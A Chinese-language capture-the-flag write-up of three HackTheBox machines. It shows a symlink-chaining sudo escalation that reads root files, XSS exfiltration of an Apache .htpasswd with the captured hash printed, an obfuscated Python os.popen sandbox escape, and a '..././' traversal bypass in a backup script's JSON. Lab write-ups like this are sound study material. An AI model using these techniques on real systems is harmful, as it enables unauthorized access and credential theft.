# HTB Alert&LinkVortex&code ## 靶场链接 https://app.hackthebox.com/machines/Alert https://app.hackthebox.com/machines/LinkVortex code是本周靶机哎 ## 笔记 HTB的靶场质量都很高,不想像其他的一样写很多没用的东西,主要写学到的东西和靶机概况 ### whatweb 可以自动分析网站的响应并识别出使用的Web框架、CMS、服务器、JavaScript库等技术组件, 一般情况下`whatweb -v`输出的比较详细,而且好看, WhatWeb 有 4 种扫描级别,通过数字 1~4 选择,默认为1: 1. stealthy 每个目标发送一次http请求,并且会跟随重定向 2. unused 不可用(从2011年开始,此参数就是在开发状态) 3. aggressive 每个目标发送少量的http请求,这些请求时根据参数为1时结果确定的 4. heavy 每个目标会发送大量的http请求,会去尝试每一个插件 `whatweb -v -a 等级 域名`。 ### git-dumper 类似githack,都可以用 ### LinkVortex提权 ``` bob@linkvortex:~$ sudo -l Matching Defaults entries for bob on linkvortex: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png ``` 看看这个`.sh`文件是什么 ``` bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh #!/bin/bash QUAR_DIR="/var/quarantined" if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi LINK=$1 if ! [[ "$LINK" =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2 fi if /usr/bin/sudo /usr/bin/test -L $LINK;then LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK) if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK $QUAR_DIR/ if $CHECK_CONTENT;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null fi fi fi ``` 脚本设计用于检查一个文件(作为参数传递)是否是一个指向 PNG 文件的符号链接。如果是,它会检查符号链接的目标,并决定是删除它还是将其隔离。具体来说,如果符号链接指向敏感文件或目录(如 /etc 或 /root ),则会删除链接。否则,它将在指定的目录(/var/quarantined)中隔离链接。如果将 `CHECK_CONTENT` 变量设置为 true ,它还可能打印隔离文件的內容。 首先我们的思路就是读取root的flag,我们可以把这个`.txt`链接到`.png`上,但是直接链接会报错,我们在中间再转折一下 ``` bob@linkvortex:~$ export CHECK_CONTENT=true bob@linkvortex:~$ touch link1.png bob@linkvortex:~$ `ln -sf /root/root.txt link1.png` bob@linkvortex:~$ touch link2.png bob@linkvortex:~$ `ln -sf /home/bob/link1.png link2.png` bob@linkvortex:~$ ls link1.png link2.png user.txt bob@linkvortex:~$ sudo bash /opt/ghost/clean_symlink.sh link2.png Link found [ link2.png ] , moving it to quarantine Content: a2340eed30a7a15b1fb810a7945d2338 ``` 实际上这个就是个任意文件读取,我们当然可以去读取ssh的密钥去做到提权的效果 ### XSS外带文件 >写这个就想起了ccb线下赛的XSS外带cookie,虽然不是web手,但是想起来这个没做出来就很难受,害 看看网页源代码 ``` Alert - Markdown Viewer

Markdown Viewer

``` 发现`md`文件写的东西都会在这里显现,典型的XSS漏洞. 突然想起来服务是Apache,那么就有`.htpasswd`用来存放密码,那么我们的思路就是去外带这个文件,去得到账号的密码,伟大的grok3会给我payload的 本地先开python的http服务(ccb的那个五分钟刷新一次不应该关的啊啊啊) ``` ``` 连接输入到`Contact Us`,本地接收到`%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A` ,后面爆破就行了 ### 端口转发 假设ssh进入一个靶机,`ps`发现还有端口在运行,但是`nmap`并没有发现,就可以尝试把端口转发出去,例如 `ssh -L 8080:127.0.0.1:8080 albert@alert.htb`,一般漏洞点在这个web里面 ### code的模拟输出 ``` modules = globals().values() global _module for name, module in sys.modules.items(): if name == ('o'+'s'): _module = module break _method = getattr(_module, 'po' + 'pen') file_obj = _method(' ') _method = getattr(file_obj, 're' + 'ad') output = _method() print(output) ``` 其实本质是 ``` import os output = os.popen(' ').read() print(output) ``` 在题目禁用的乱七八糟的情况下也是一个好方法,可以直接去读flag,爽啦 ### code的root.txt ``` martin@code:~$ sudo -l Matching Defaults entries for martin on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User martin may run the following commands on localhost: (ALL : ALL) NOPASSWD: /usr/bin/backy.sh martin@code:~$ ls -la /usr/bin/backy.sh -rwxr-xr-x 1 root root 926 Sep 16 2024 /usr/bin/backy.sh martin@code:~$ cat /usr/bin/backy.sh #!/bin/bash if [[ $# -ne 1 ]]; then /usr/bin/echo "Usage: $0 " exit 1 fi json_file="$1" if [[ ! -f "$json_file" ]]; then /usr/bin/echo "Error: File '$json_file' not found." exit 1 fi allowed_paths=("/var/" "/home/") updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file") /usr/bin/echo "$updated_json" > "$json_file" directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]') is_allowed_path() { local path="$1" for allowed_path in "${allowed_paths[@]}"; do if [[ "$path" == $allowed_path* ]]; then return 0 fi done return 1 } for dir in $directories_to_archive; do if ! is_allowed_path "$dir"; then /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed." exit 1 fi done /usr/bin/backy "$json_file" ``` 哎,这个其实是一个开源的东西,github可以找到,类似备份,可以看到禁用了目录穿越,但是只是替换成空格,那么`双写绕过`就行了,除了这个方法,还可以写`.json`老老实实的写 ``` { "destination": "/home/martin/backups", "verbose_log": true, "directories_to_sync": [ "/var/../root/" ], "directories_to_archive": [ "/var/..././root/" ] } ``` 去读`root`的全部路径到`backup`,然后发现生成的`.tar.gz2`包`root`才可以读,哎,怎么办呢? `base64`是个伟大的东西,可以把整个文件转成base64,然后去本地解密成`.tar.gz2`,也就是`base64 -d encoded.txt > 1.tar.gz2`,然后解压得到flag